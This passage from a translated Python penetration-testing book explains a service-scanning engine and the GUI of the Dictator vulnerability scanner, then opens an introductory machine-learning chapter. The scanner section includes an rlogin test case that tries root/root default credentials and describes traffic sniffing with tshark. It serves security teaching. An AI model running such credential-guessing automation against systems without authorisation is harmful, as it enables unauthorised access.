我们的下一个挑战是将控制台输出转换为标准的 ASCII 格式,以便我们可以将数据干净地保存在数据库中。需要注意的是,不同的工具和脚本以不同的格式和编码生成数据,这些格式和编码适合控制台显示。控制台支持各种编码,但我们需要将输出保存在数据库表中,因此在推送数据之前,我们需要将其从控制台编码转换为 ASCII 格式。这就是我们在第(3)部分所做的事情。

在第(4)部分中,我们通过调用process = psutil.Process(self.process.pid).来控制父进程。

在第(5)部分中,清理数据后,我们通过调用saveDetails()方法将执行的两个命令和生成的数据推送到数据库表中。

在第(3)部分之后,我们通过调用thread.is_alive()来检查线程是否仍然活动。如果返回false,这意味着线程已经成功在指定的时间内执行,通过内部调用subprocess.Process命令,并且详细信息也保存在数据库表中。但是,如果thread.is_alive()返回true,这意味着外部脚本仍在运行,因此我们需要强制将其终止,以免影响其他要执行的脚本的执行。请记住,调用的进程会将我们保存在self.process类变量下的进程实例返回给我们。我们将在这里使用该变量来终止进程。Python 有一个非常强大的实用程序叫做"psutil",我们可以使用它来不仅终止进程,还可以终止该进程调用的所有子进程。我们还需要终止子进程,因为我们不希望它们在后台运行并消耗我们的 CPU。例如,诸如 Nikto 之类的工具会调用许多子进程来加快整个操作,我们希望终止所有这些进程,以确保父进程被终止并且所有系统资源都被释放供其他进程使用。一旦我们获取了父进程,我们使用for循环迭代其每个子进程,for proc in process.children(recursive=True):,并通过发出命令proc.kill()来终止每个子进程。这在第(5)部分中有所强调。最后,在第(6)部分,我们通过调用self.process.kill()确保终止父进程。

general_interactive()

在这一部分,我们将了解general_interactive()方法的工作原理。虽然我们也可以使用这种方法实现 Metasploit 命令,但为了保持类别的分离,我们单独实现了 Metasploit。

general_interactive的目标是自动化交互式工具和 Bash 命令。这意味着 JSON 文件包含了定义执行工作流程的成功模式和失败模式。我们将使用 Pexpect 来实现这一点,如下所示:

让我们通过进行干运行来更仔细地研究这个方法,如下所示:

正如我们在args[]中看到的,第一个参数是超时时间。第二个索引保存我们希望使用一般交互方法自动化的命令。对于这个类别,第一个参数将始终是超时时间,第二个参数将是要执行的命令。从这里开始,定义了一个交替模式。第三个索引将保存预期输出列表和成功标准。如果满足成功标准,第四个索引将保存要发送到控制台的下一个命令。第五个索引将再次保存基于第四个索引发送的命令的预期输出列表,并且它还保存成功标准。模式很简单,根据我们计划自动化的底层命令或工具所需的,同样的交替序列将继续进行。

成功标准在预期输出列表的第一个索引处定义。如果有多个成功结果或索引,它们可以作为逗号分隔的输入给出在第一个索引处。让我们以rlogin的上述示例为例,我们正在尝试使用 root 作为用户名和密码进行远程登录,并尝试理解预期输出列表的内容和意义。索引 3 处的列表包含['0,1','.* password: .*","[$,#]",".*No route.*"]。在这里,第 0 个索引“0,1”定义了成功标准。这意味着如果终端期望".* password: .*""[$,#]"中的任何一个,我们就假设输出符合预期,因此我们将下一个命令发送到控制台,这在我们的情况下是"root"。如果我们得到的不是索引 0 或 1,我们就假设工具或脚本的行为不符合预期,因此中止操作。

要配置属于此类别的命令和脚本,测试人员需要知道脚本在成功和失败条件下的执行方式,并制定配置文件。前面的代码很简单,实现了我们之前讨论的相同逻辑。

generalCommands_Tout_Sniff()

这里的想法类似于我们如何使用线程实现singleLineComamnd()方法。请注意,要执行的命令的类别要么是interactive,要么是"singleLineCommand_Timeout",还有一个嗅探操作。我们将创建一个线程,并将嗅探任务委托给它,通过将它附加到start_sniffing方法。我们还将重用我们之前创建的方法。我们要么按照(1)指定的方式调用singleLineCommands_Timeout(),要么按照(2)指定的方式调用general_interactive()

在第(3)(4)节中,我们检查嗅探进程是否仍然存活,如果是,则将其终止:

start_sniffing()

我们通常使用 Wireshark 来捕获接口上的所有流量。然而,由于 Wireshark 是一个桌面应用程序,在这种情况下,我们将使用Tshark。Tshark 代表终端 shark,是 Wireshark 的 CLI 版本。Tshark 调用命令在第(2)部分中指定,我们指定要嗅探流量的端口。我们还指定需要嗅探流量的主机,或目标主机。我们指定主机和端口的原因是我们想要保持结果的完整性;工具的 GUI 版本可以部署在服务器上,并且多个用户可以使用它进行扫描。如果我们指定它应该在接口上嗅探,那么其他用户的其他运行会话的数据也会被嗅探。为了避免这种情况,我们对主机和端口非常具体。我们还指定了它嗅探的超时持续时间。我们将输出保存在指定的文件中"project_id_host_port_capture-output.pcap"

在第(2)部分,我们使用子进程模块调用tshark进程,这是我们之前讨论过的:

HTTP_based()

以下的http_based方法很简单。我们使用 Python 的请求库向目标发送 GET 请求,捕获响应,并将其保存在数据库中。目前,我们只是发送 GET 请求,但您可以在自己的时间内调整代码以处理 GET 和 POST。我们将在下一章节中更多地介绍 Python 请求和抓取:

IPexploits.py

服务扫描引擎的数据库层处理另一个重要的代码文件是IPexploits.py。这个文件很简单;它包含各种方法,每个方法的目的要么是从数据库表中获取数据,要么是将数据放入数据库表中。我们不会在这里讨论这个模块,但我建议你看一下可以在 GitHub 存储库github.com/FurqanKhan1/Dictator/blob/master/Dictator_service/IPexploits.py找到的代码。

执行代码

在执行代码之前,请仔细参考 GitHub 存储库github.com/FurqanKhan1/Dictator/wiki中的安装和设置说明。安装指南还讨论了如何设置后端数据库和表。或者,您可以下载预先安装和预配置了所有内容的即插即用的虚拟机。

要运行代码,请转到以下路径:/root/Django_project/Dictator/Dictator_Service。运行代码文件driver_main_class.py,如:python Driver_scanner.py。必须注意的是,结果是使用 Python 库生成的,该库将控制台输出转换为其 HTML 等效。更多细节可以在以下代码文件github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Pythongenerate_results()方法中找到。

漏洞扫描器的服务扫描部分的数据库模式

要扫描服务扫描的扫描结果,请转到 IPexploits 表,其模式如下:

漏洞扫描器的 GUI 版本

先前讨论的相同代码库可以进行增强,以开发一个基于 Web 的漏洞扫描仪版本,具有端口扫描和服务扫描功能。该工具具有许多不同的功能,包括四层架构,其中包括 Web 层呈现、Web 层服务器、API 层和 DB 层。从 GitHub 存储库github.com/FurqanKhan1/Dictator/wiki下载并安装工具的 Web 版本。或者,您可以使用即插即用的虚拟机,只需登录并在https://127.0.0.1:8888上打开浏览器即可访问该工具。

扫描仪 GUI 版本的各种功能包括以下内容:

  • 并行端口扫描

  • 暂停和恢复端口扫描

  • 服务扫描

  • 所有测试用例自动化

  • 暂停和恢复服务扫描 (不在 CLI 中)

  • 并行服务扫描 (不在 CLI 中)

  • Nmap 报告上传和解析 Qualys 和 Nessus 报告

使用[PTO-GUI]

以下部分将介绍扫描仪的 GUI 版本的用法。

扫描模块

基于正在进行的基础设施上的扫描类型和性质,渗透测试人员有多种可用选项,并且可以选择最适合被测试基础设施的选项。可用的各种使用模式在以下部分中进行了介绍。

顺序模式

在顺序模式中,工具将从发现开始,然后重新配置,然后开始服务扫描。因此,这是一个三步过程。请注意,在顺序模式中

  • 在所有主机都被扫描之前,无法开始服务扫描

  • 一旦服务扫描开始,就无法重新配置

  • 一旦开始服务扫描,所有服务都将开始扫描。用户无法控制先扫描哪个服务,后扫描哪个服务

发现完成后重新配置

为了减少误报和漏报,请分析端口扫描结果,如果需要,重新配置/更改它们。如果有任何服务/端口被遗漏,您还可以额外添加测试用例。

在上述截图中,我们将类型为状态的服务更改为ftp类型。因此,测试用例将为ftp运行。注意:只有在确定发现的服务不正确或类型为Unknown时才这样做。我们将很快了解服务类型。

如果 nmap 错过了主机/端口/服务,可以手动添加,如下所示:

添加测试用例后,我们可以点击“开始扫描”选项开始服务扫描。我们可以选择启用线程选项以加快结果的速度,也可以选择不使用线程选项开始服务扫描,如下图所示:

查看中间结果:当用户点击“开始扫描”时,他/她将被重定向到扫描页面。每次执行一个测试用例,UI 都会更新,并且一个蓝色的图标会出现在正在扫描的服务前面的屏幕上。用户可以点击该图标查看测试用例的结果。

当服务的所有“测试用例”都被执行时,图标将变为绿色。

以下图显示了中间测试用例的结果:

在任何时候,用户都可以离开 UI 而不会影响正在运行的扫描。如果用户希望查看当前正在运行的扫描,可以从顶部的“扫描状态”选项卡中选择正在运行的扫描。将显示以下屏幕:

根据扫描的状态,它将显示适当的操作。如果扫描正在进行中,操作列将显示进行中。用户可以点击此按钮以获取其扫描当前状态的 UI 屏幕。

用户可以点击扫描名称以查看扫描最初启动时的配置(主机、端口、开关)。

并发模式

在顺序模式中,直到所有端口的端口扫描结果可用并且主机已经扫描完毕,服务扫描才能开始。因此,渗透测试人员可能需要等待获取这些结果。此外,在此模式下,渗透测试人员无法控制哪些服务可以先扫描,哪些可以稍后扫描。所有服务将一次性扫描,限制了对服务扫描的控制粒度。这些是并发模式处理的顺序模式的限制。

并发模式提供了在服务发现完成后立即启动服务扫描的灵活性,并进一步提供了根据渗透测试人员选择启动选择性服务扫描的选项。

  1. 点击扫描选项卡下的新扫描选项卡。

  2. 填写扫描参数,并选择并发扫描模式:

  1. 其余步骤将相同,唯一的例外是在此扫描模式中,用户无需等待所有主机和端口都被扫描才能开始服务扫描。此外,用户可以选择希望扫描哪些服务。如下图所示:

如前面的屏幕截图所示,用户可以选择先扫描http,而不立即扫描 ssh。用户可以决定何时扫描哪项服务。

并发模式也具有重新配置、查看结果等所有功能。

顺序默认模式

使用此模式,服务扫描将在发现完成后立即开始,从而跳过重新配置阶段。此模式的实用性在于调度扫描的情况下更为相关,渗透测试人员可以安排扫描在其他时间开始,并且可能无法进行重新配置,同时希望继续使用默认的端口扫描结果进行服务扫描。因此,此扫描模式跳过重新配置阶段,并在获取默认的nmap端口扫描结果后直接启动服务扫描。

  1. 点击扫描选项卡下的新扫描选项卡

  2. 填写扫描参数,并选择顺序默认扫描模式

当端口扫描结果完成后,它将自行开始服务扫描,无论用户当前是否已登录。

暂停和恢复扫描

无论扫描模式如何,任何处于发现或服务扫描状态的扫描都可以暂停。中间结果将被保存,用户可以随时在将来恢复扫描。

必须注意,如果在发现过程中暂停扫描(端口扫描可能正在进行),则已经扫描的端口的端口扫描结果将被保存;用户恢复后,将对未扫描的端口进行扫描。同样,如果在服务扫描过程中暂停扫描,则已经扫描的服务的结果将被保存,用户可以灵活分析将要扫描的服务的结果。扫描恢复后,将对未扫描的服务进行服务扫描。

以下屏幕截图显示了如何暂停正在进行的扫描:

要恢复扫描,可以转到当前扫描选项卡或暂停的扫描选项卡。默认情况下,操作列会有两个按钮:

  • 恢复:这将从暂停的状态恢复扫描。

  • 分析:如果扫描在扫描时暂停,渗透测试人员可以分析已经扫描的服务的结果。如果您希望恢复扫描,那么他/她可以选择分析选项。通过这个选项,用户可以看到已完成服务的中间测试用例结果。

如果扫描在端口扫描期间暂停,分析选项可能不会出现,因为如果端口扫描正在进行并且模式不是并发的话,就不会执行test_cases来分析。分析选项不会出现在并发扫描中,恢复按钮将执行并发模式中的恢复和分析扫描的联合功能。

下载报告或分析扫描何时完成

当扫描完成时,用户将在 UI 上获得全部下载的选项。如果用户访问当前扫描选项卡,对于所有发现和服务扫描状态为完成的扫描,操作列将默认具有下载结果的选项,以进行离线分析或在线分析结果,如下图所示:

点击全部下载,将下载一个压缩文件夹。它将包括:

  • 包含所有测试用例结果的最终 HTML 报告。

  • Pcap 文件可以嗅探需要嗅探的某些服务。Pcap 文件可以用 Wireshark 打开并分析文本/凭据是以明文还是加密格式传递的。注意:Pcap 文件的名称将类似于<project_id>_capture_output.pcap。因此,如果在host1上对端口21和项目 ID100进行嗅探,Pcap 文件名称将是100_host1_21_capture_output.pcap

  • 下载的文件夹还将包含最终选择的配置(服务-测试用例),用于启动扫描(JSON 格式)

  • 另一方面,点击分析测试将带我们到用户界面,我们可以在那里看到所有test_cases的结果。

报告

要上传 Nmap 报告,请转到上传报告并选择 Nmap 报告。这是一个结果导入模块,可以读取现有的Nmap.xml报告文件中的结果,并将这些发现导入到我们的自定义数据库中,并进一步使用这些发现来启动测试用例/服务扫描。因此,这使用户可以在两种模式下使用我们的工具:

  • 发现和服务扫描一起

  • 仅服务扫描模式

点击上传,报告将被解析和上传。用户可以转到当前扫描选项卡,会发现已上传的项目test_upload_nmap列在那里,其发现状态完成服务扫描状态为未完成。用户可以点击操作选项卡进行中,重新配置结果,然后开始服务扫描。

  • Qualys 和 Nessus 报告解析器

要使用此选项,请转到上传报告选项卡,并选择Qualys/Nessus报告。我们有一个报告合并模块,可以合并从 Qualys、Nessus 和手动测试用例获得的结果。为了合并报告,它们必须首先被解析。我们有 Qualys、Nmap 和 Nessus 报告解析器。它们都将以 XML 格式接收报告,并解析报告并将其放置在本地存储中,以便查询和将结果与其他报告集成变得更容易:

在这里上传报告的目的是将其与某个手动项目合并。因此,从下拉列表中选择要将 Nessus/Qualys 报告合并的项目。

  • 报告合并:

要使用此选项,请转到合并报告选项卡,并选择您希望将 Qualys 和 Nessus 结果集成的手动项目的ID/名称

它假定 Nessus 和 Qualys 报告已经被上传并链接到它们应该合并的项目。

该模块合并了手动测试用例、解析的 Qualys 报告、解析的 Nessus 报告,并将 CVE 映射到利用,最后,将为用户提供下载集成报告的选项,格式包括(XML、HTML、CSV、JSON),从而提供一个统一的分析视图。

最终可下载的报告有四种格式(HTML、CSV、JSON、XML)。

合并报告将根据 Nessus/Qualys 和手动测试用例中发现的共同结果进行合并。它将共同的主机和端口聚合到一组中,以便分析变得更容易。

摘要

在本章中,我们讨论了如何使用各种 Python 模块来实现服务扫描自动化的任务。我们还研究了如何使用线程和多进程的组合来解决现实世界的问题。本章讨论的所有概念在前几章中都有所提及。通过本章的学习,读者应该对 Python 在网络安全领域有多么强大以及我们如何使用它来创建自己的扫描器有了很好的理解。我们还在 GUI 模式下概述了漏洞扫描器。

在下一章中,我们将看到如何使用机器学习和自然语言处理来自动化渗透测试阶段的手动报告分析。

问题

  1. 为什么我们不使用 msfrpc 来自动化 Metasploit?

  2. 我们可能还可以做些什么来进一步优化吞吐量?

  3. 使用 JSON 文件是强制性的吗?我们可以使用数据库吗?

  4. 我们还可以将哪些其他工具与扫描仪集成?

进一步阅读

第七章:机器学习和网络安全

如今,机器学习ML)是一个我们经常遇到的术语。在本章中,我们将概述机器学习的确切含义,它解决的问题类型,以及它在网络安全生态系统中的应用类型。我们还将研究各种不同类型的机器学习模型,以及在哪些情况下可以使用哪些模型。值得注意的是,本书的范围不是详细介绍机器学习,而是提供对机器学习及其在网络安全领域的应用的扎实理解。

本章将详细介绍以下主题:

  • 机器学习

  • 基于回归的机器学习模型

  • 分类模型

  • 自然语言处理

机器学习

让我们从一个基本问题开始:什么是机器学习,为什么我们要使用它?

我们可以将机器学习定义为数据科学的一个分支,可以有效解决预测问题。假设我们有过去三个月电子商务网站客户的数据,数据包含特定产品的购买历史(c_idp_idagegendernationalitypurchased[yes/no])。

我们的目标是利用数据集来识别可能购买产品的客户,基于他们的购买历史。我们可能认为一个好主意是考虑购买列,并假设那些先前购买产品的人最有可能再次购买。然而,一个更好的业务解决方案将考虑所有参数,包括发生最多购买的地区,客户的年龄组和性别等。基于所有这些领域的排列,业务所有者可以更好地了解受产品影响最大的客户类型,因此营销团队可以设计更具体、有针对性的活动。

我们可以通过两种不同的方式来做到这一点。第一种解决方案是使用我们选择的编程语言编写软件,并编写逻辑,给每个讨论的参数赋予特定的权重。然后逻辑将能够告诉我们所有潜在的买家是谁。然而,这种方法的缺点是需要大量时间来起草逻辑,如果添加了新的参数(例如客户的职业),逻辑将需要更改。此外,编写的逻辑只能解决一个特定的业务问题。这是在机器学习开发之前采用的传统方法,目前仍被各种企业使用。

第二种解决方案是使用机器学习。基于客户数据集,我们可以训练一个机器学习模型,并让其预测客户是否是潜在的买家。训练模型涉及将所有训练数据提供给一个机器学习库,该库将考虑所有参数并学习购买产品的客户的共同属性,以及未购买产品的客户的属性。模型学到的内容将被保存在内存中,获得的模型被称为经过训练的。如果模型被提供新客户的数据,它将使用其训练并基于学到的通常导致购买的属性进行预测。以前必须用计算机程序和硬编码逻辑解决的同样的业务问题现在用数学机器学习模型解决。这是我们可以使用机器学习的许多案例之一。

重要的是要记住,如果手头的问题是一个预测问题,机器学习可以应用来获得良好的预测。然而,如果问题的目标是自动化手动任务,机器学习将无济于事;我们需要使用传统的编程方法。机器学习通过使用数学模型来解决预测问题。

人工智能AI)是另一个我们经常会遇到的词。现在让我们试着回答另一个问题:什么是人工智能,它和机器学习有什么不同?

在 Kali Linux 中设置机器学习环境

所有的机器学习库都打包在一个叫做anaconda的包中。这将安装 Python 3.5 或最新版本的 Python。要运行机器学习代码,我们需要 Python 3 或更高版本:

  1. 从以下网址下载 anaconda:conda.io/miniconda.html

  2. 通过运行bash Anaconda-latest-Linux-x86_64.sh.>来安装所有的包。

  3. 有关更多详细信息,请参考以下网址:conda.io/docs/user-guide/install/linux.html

基于回归的机器学习模型

当我们需要预测连续值而不是离散值时,我们使用回归模型。例如,假设数据集包含员工的工作经验年限和工资。基于这两个值,这个模型被训练并期望根据他们的工作经验年限来预测员工的工资。由于工资是一个连续的数字,我们可以使用基于回归的机器学习模型来解决这种问题。

我们将讨论的各种回归模型如下:

  • 简单线性回归

  • 多元线性回归

  • 多项式回归

  • 支持向量回归

  • 决策树回归

  • 随机森林回归

简单线性回归

简单线性回归SLR)对线性数据进行特征缩放,如果需要的话。特征缩放是一种用来平衡各种属性影响的方法。所有的机器学习模型都是数学性质的,所以在用数据训练模型之前,我们需要应用一些步骤来确保所做的预测不会有偏差。

例如,如果数据集包含三个属性(agesalary,和item_purchased[0/1]),我们作为人类知道,可能会去商店的年龄段在 10 到 70 之间,工资可能在 10,000 到 100,000 或更高之间。在进行预测时,我们希望同时考虑这两个参数,知道哪个年龄段的人在什么工资水平下最有可能购买产品。然而,如果我们在不将年龄和工资缩放到相同水平的情况下训练模型,工资的值会因为它们之间的巨大数值差异而掩盖年龄的影响。为了确保这种情况不会发生,我们对数据集应用特征缩放来平衡它们。

另一个必需的步骤是数据编码,使用独热编码器。例如,如果数据集有一个国家属性,这是一个分类值,假设有三个类别:俄罗斯、美国和英国。这些词对数学模型来说没有意义。使用独热编码器,我们将数据集转换成(idagesalaryRussiaUKUSAitem_purchased)。现在,所有购买产品并来自俄罗斯的顾客在名为俄罗斯的列下会有数字 1,在美国和英国的列下会有数字 0。

举个例子,假设数据最初如下所示:

ID 国家 年龄 工资 购买
1 美国 32 70 K 1
2 俄罗斯 26 40 K 1
3 英国 32 80 K 0

进行数据转换后,我们会得到以下数据集:

ID 俄罗斯 美国 英国 年龄 工资 购买
1 0 1 - 0.5 0.7 1
2 1 0 0 0.4 0.4 1
3 0 0 1 0.5 0.8 0

可以看到得到的数据集是纯数学的,所以我们现在可以把它交给我们的回归模型来学习,然后进行预测。

需要注意的是,帮助进行预测的输入变量被称为自变量。在前面的例子中,countryagesalary是自变量。定义预测的输出变量被称为因变量,在我们的例子中是Purchased列。

回归模型如何工作?

我们的目标是在数据集上训练一个机器学习模型,然后要求模型进行预测,以确定应根据员工的工作经验给予的薪资。

我们考虑的例子是基于 Excel 表的。基本上,我们有一家公司的数据,其中薪资结构是基于工作经验年限的。我们希望我们的机器学习模型能够推导出工作经验年限和给定薪资之间的相关性。根据推导出的相关性,我们希望模型能够提供未来的预测并指定建模薪资。机器通过简单线性回归来实现这一点。在简单线性回归中,通过给定的散点数据绘制各种线条(趋势线)。趋势线的理念是它应该最佳拟合(穿过)所有的散点数据。之后,通过计算建模差异来选择最佳的趋势线。这可以进一步解释如下:

继续使用相同的例子,让我们以员工“e”为例,他在实际工作中拥有 10 年的经验,薪资为 100,000。然而,根据模型,员工实际上应该获得的薪资要低一些,如绿色+所示,绿色+下方的线实际上低于组织所遵循的线(建模薪资)。绿色虚线表示实际薪资和建模薪资之间的差异(约 80K)。它由yi -yi*给出,其中*yi*是实际薪资,*yi是模式。

SLR 通过数据绘制所有可能的趋势线,然后计算整条线的(y-y^)²*的和。然后找到计算平方的最小值。具有最小平方和的线被认为是最适合数据的线。这种方法称为最小二乘法欧几里得距离法。最小二乘法是一种数学回归分析方法,它为数据集找到最佳拟合线,提供了数据点之间关系的可视化演示。

以下屏幕截图表示回归模型绘制的各种预测线:

基于平方和方法,选择了最佳拟合线,如下所示:

基本上,绘制的数据点不在一条直线上,而是在直线的两侧对称绘制,如下所示:

以下部分代表了实现 SLR 的代码:

多元线性回归

SLR 适用于具有一个自变量和一个因变量的数据集。它在XY维度空间中绘制两者,根据数据集绘制趋势线,最后通过选择最佳拟合线进行预测。然而,现在我们需要考虑的是如果因变量的数量超过一个会发生什么。这就是多元线性回归出现的地方。多元线性回归MLR)使用多个自变量并在 n 维空间中绘制它们以进行预测。

我们现在将处理一个包含与 50 家初创公司相关信息的不同数据集。数据基本上包括公司在各种垂直领域(如研发、行政和营销)上的支出。它还指示了公司所在的州以及每个垂直领域的净利润。显然,利润是因变量,其他因素是自变量。

在这里,我们将从投资者的角度进行分析,他想要分析各种参数,并预测应该在哪些垂直领域投入更多的收入,并在哪个州,以最大化利润。例如,可能有一些州在其中更多地投入研发会带来更好的结果,或者其他一些州在其中更多地投入营销更有利可图。该模型应该能够预测应该投资哪些垂直领域,如下所示:

鉴于我们有多个自变量,如下所示,对于我们来说,识别哪些是实际有用的,哪些是无用的也很重要:

虽然一些自变量可能会对最终的因变量产生影响,但其他一些可能不会。为了提高模型的准确性,我们必须消除对因变量影响较小的所有变量。有五种方法可以消除这些变量,如下图所示,但最可靠的是向后消除

向后消除的工作原理如下所示:

我们在前面的方法中所说的显著水平是指能够表明正在检查的变量对因变量或最终预测至关重要的最低阈值值。

P 值是确定因变量和自变量之间关系是否随机的概率。对于任何给定的变量,如果计算得到的 P 值等于 0.9,这将表明该自变量与最终因变量之间的关系是 90%随机的,因此对自变量的任何改变可能不会直接影响因变量。另一方面,如果另一个变量的 P 值为 0.1,这意味着该变量与因变量之间的关系并非是随机的,对该变量的改变将直接影响输出。

我们应该从分析数据集开始,找出对预测有重要意义的自变量。我们必须只在这些变量上训练我们的数据模型。以下代码片段表示了向后消除的实现,这将让我们了解哪些变量应该被排除,哪些应该被保留:

以下是前面代码片段中使用的主要函数的解释:

  • X[:,[0,1,2,3,4,5]]表示我们将所有行和从 90 到 5 的所有列传递给向后消除函数

  • sm.OLS是一个内部 Python 库,用于 P 值计算

  • regressor_OLS.summary()将在控制台上显示一个摘要,帮助我们决定哪些数据变量要保留,哪些要排除

在下面的示例中,我们正在对所有变量进行模型训练。但是建议使用之前获得的X_Modeled,而不是X

在 MLR 中,应该注意的是,预测也是基于最佳拟合线进行的,但在这种情况下,最佳拟合线是在多个维度上绘制的。以下屏幕截图给出了数据集在 n 维空间中的绘制方式:

还有其他各种回归模型适用于其他类型的数据集,但涵盖它们都超出了本书的范围。然而,提到的两个模型应该让我们了解回归模型的工作原理。在下一节中,我们将讨论分类模型。我们将更详细地研究一个分类模型,并看看我们如何在自然语言处理中使用它来应用 ML 在渗透测试生态系统中。

分类模型

与回归模型不同,回归模型预测连续数字,分类模型用于预测给定类别列表中的类别。之前讨论的业务问题,我们在过去三个月内有关电子商务网站客户的数据,其中包含特定产品的购买历史(c_idp_idagegendernationalitysalarypurchased[yes/no])。我们的目标与之前一样,是根据他们的购买历史来识别可能购买产品的客户。根据所有独立变量(agegendernationalitysalary)的排列组合,分类模型可以进行 1 和 0 的预测,1 表示给定客户将购买产品的预测,0 表示他们不会。在这种情况下,有两个类别(0 和 1)。然而,根据业务问题,输出类别的数量可能会有所不同。常用的不同分类模型如下所示:

  • 朴素贝叶斯

  • 逻辑回归

  • K 最近邻

  • 支持向量机

  • 核 SVM

  • 决策树分类器

  • 随机森林分类器

朴素贝叶斯分类器

让我们尝试通过朴素贝叶斯分类器来理解分类模型的工作原理。为了理解朴素贝叶斯分类器,我们需要理解贝叶斯定理。贝叶斯定理是我们在概率中学习的定理,并可以通过一个例子来解释。

假设我们有两台机器,两台机器都生产扳手。扳手上标有生产它们的机器。M1 是机器 1 的标签,M2 是机器 2 的标签。

假设有一个扳手是有缺陷的,我们想找到有缺陷的扳手是由机器 2 生产的概率。提供 B 已经发生的情况下 A 发生的概率由朴素贝叶斯定理确定。因此,我们使用贝叶斯定理如下:

  • P(A)代表事件发生的概率。

  • p(B/A)代表 A 发生的情况下 B 发生的概率。

  • P(B)代表 B 发生的概率。

  • p(A/B)代表 B 发生的情况下 A 发生的概率(假设 B 已经发生的情况下 A 发生的概率)。

  • 如果我们用概率来表示数据,我们得到以下结果:

假设我们有一个人的数据集,有些人步行上班,有些人开车上班,这取决于他们所属的年龄类别:

如果添加了一个新的数据点,我们应该能够判断那个人是开车上班还是步行上班。这是监督学习;我们正在对数据集进行机器训练,并从中得出一个学习模型。我们将应用贝叶斯定理来确定新数据点属于步行类别和驾驶类别的概率。

为了计算新数据点属于步行类别的概率,我们计算P(Walk/X)。这里,X代表给定人的特征,包括他们的年龄和工资:

为了计算新数据点属于驾驶类别的概率,我们计算P(Drives/X)如下所示:

最后,我们将比较P(Walks/X)P(Drives/X)。基于这个比较,我们将确定在哪个类别中放置新数据点(在概率更高的类别中)。最初的绘图发生在 n 维空间中,取决于独立变量的值。

接下来,我们计算边际似然,如下图所示,即 P(X):

P(X)实际上是指将新数据点添加到具有相似特征数据点的概率。该算法将划分或在发现具有与即将添加的数据点相似特征的数据点周围画一个圆。然后,计算特征的概率为P(X) =相似观察的数量/总观察数量

  • 圆的半径在这种情况下是一个重要的参数。这个半径作为算法的输入参数给出:

  • 在这个例子中,圆内的所有点被假定具有与要添加的数据点相似的特征。假设我们要添加的数据点与一个 35 岁,年薪 40,000 美元的人相关。在这种情况下,圆内的所有人都会被选中:

  • 接下来,我们需要计算似然,即随机选择一个步行者包含 X 的特征的概率。以下将确定P(X/walks)

  • 我们将使用相同的方法来推导数据点属于驾驶部分的概率,假设它具有与步行者相同的特征

  • 在这种情况下,P(X)等于落在之前所示圆内的相似观察的数量,除以总观察数量。P(X) = 4/30 = 0.133

  • P(drives) = P(# who drive) / (#total) = 20/30 = 0.666

  • P(X|Drivers) = P(相似的驾驶员观察) / 总驾驶员 = 1/20 = 0.05

  • 应用我们得到的值,得到 P(Drivers|X) = 0.05 * 0.666 / 0.133 = 0.25 => 25

对于给定的问题,我们将假设数据点属于步行者的集合。

总结朴素贝叶斯分类器

以下项目将迄今讨论的所有概念整合起来,总结了我们对朴素贝叶斯分类器的学习:

  • 应该注意的是,朴素贝叶斯分类器在训练后并没有一个计算出的模型。事实上,在预测时,所有数据点只是根据它们属于哪个类别进行简单的标记。

  • 在预测时,根据独立变量的值,数据点将在 n 维空间中的特定位置计算并绘制。目标是预测数据点在 N 个类别中属于哪个类别。

  • 基于独立变量,数据点将在接近具有相似特征的数据点的向量空间中绘制。然而,这仍然不能确定数据点属于哪个类别。

  • 根据最初选择的最佳半径值,将在该数据点周围画一个圆,将圆的半径内的一些其他点包围起来。

  • 假设我们有两个类别,A 和 B,我们需要确定新数据点 X 的类别。贝叶斯定理将用于确定 X 属于类 A 的概率和 X 属于类 B 的概率。具有更高概率的那个类别就是预测数据点所属的类别。

实现代码

假设我们有一家名为 X 的汽车公司,拥有一些关于人们的数据,包括他们的年龄、薪水和其他信息。它还包括关于这些人是否购买了公司以非常昂贵的价格推出的 SUV 的详细信息。这些数据用于帮助他们了解谁购买了他们的汽车:

我们将使用相同的数据来训练我们的模型,以便它可以预测一个人是否会购买一辆汽车,给定他们的年龄薪水性别

以下截图显示了前 12 个数据点的y_predy_test之间的差异:

| | 前面的截图代表了混淆矩阵的输出。

  • 单元格[0,0]代表了输出为 0 且被预测为 0 的总案例。

  • 单元格[0,1]代表了输出为 0 但被预测为 1 的总案例。

  • 单元格[1,0]代表了输出为 1 但被预测为 0 的总案例。

  • 单元格[1,1]代表了输出为 1 且被预测为 1 的总案例。

如果我们从先前的数据集中获取统计数据,我们可以看到在 100 次预测中,有 90 次是正确的,10 次是错误的,给出了 90%的准确率。

自然语言处理

自然语言处理NLP)是关于分析文本、文章并进行对文本数据的预测分析。我们将制作的算法将解决一个简单的问题,但相同的概念适用于任何文本。我们也可以使用 NLP 来预测一本书的类型。

考虑以下的 Tab 分隔值(TSV),这是一个用于应用 NLP 并查看其工作原理的制表符分隔的数据集:

这是我们将要处理的数据的一小部分。在这种情况下,数据代表了关于餐厅的顾客评论。评论以文本形式给出,并且有一个评分,即 0 或 1,表示顾客是否喜欢这家餐厅。1 表示评论是积极的,0 表示不是积极的。

通常,我们会使用 CSV 文件。然而,在这里,我们使用的是 TSV 文件,分隔符是制表符,因为我们正在处理基于文本的数据,所以可能会有逗号,这些逗号并不表示分隔符。例如,如果我们看第 14 条记录,我们可以看到文本中有一个逗号。如果这是一个 CSV 文件,Python 会将句子的前半部分作为评论,后半部分作为评分,而1会被视为一个新的评论。这将破坏整个模型。

该数据集大约有 1,000 条评论,并且已经被手动标记。由于我们正在导入一个 TSV 文件,pandas.read_csv的一些参数需要更改。首先,我们指定分隔符是制表符分隔的,使用/t。我们还应该忽略双引号,可以通过指定参数 quoting=3 来实现:

导入的数据集如下所示:

我们可以看到成功导入了 1,000 条评论。所有评论都在评论列中,所有评分都在Liked列中。在 NLP 中,我们必须在使用文本数据之前对其进行清理。这是因为 NLP 算法使用词袋概念工作,这意味着只保留导致预测的单词。词袋实际上只包含影响预测的相关单词。例如atheon等单词在这种情况下被认为是不相关的。我们还摆脱点和数字,除非需要数字,并对单词进行词干处理。词干处理的一个例子是用love代替loved。我们应用词干处理的原因是因为我们不希望最终有太多的单词,并且还要将lovingloved等单词重新组合成一个单词love。我们还去掉大写字母,并将所有内容转换为小写。要应用我们的词袋模型,我们需要应用标记化。这样做后,我们将有不同的单词,因为预处理将消除不相关的单词。

然后,我们取出不同评论的所有单词,并为每个单词创建一列。可能会有许多列,因为评论中可能有许多不同的单词。然后,对于每条评论,每个列将包含一个数字,指示该特定评论中该单词出现的次数。这种类型的矩阵称为稀疏矩阵,因为数据集中可能有许多零。

dataset['Review'][0]命令将给出我们的第一条评论:

我们使用正则表达式的一个子模块,如下所示:

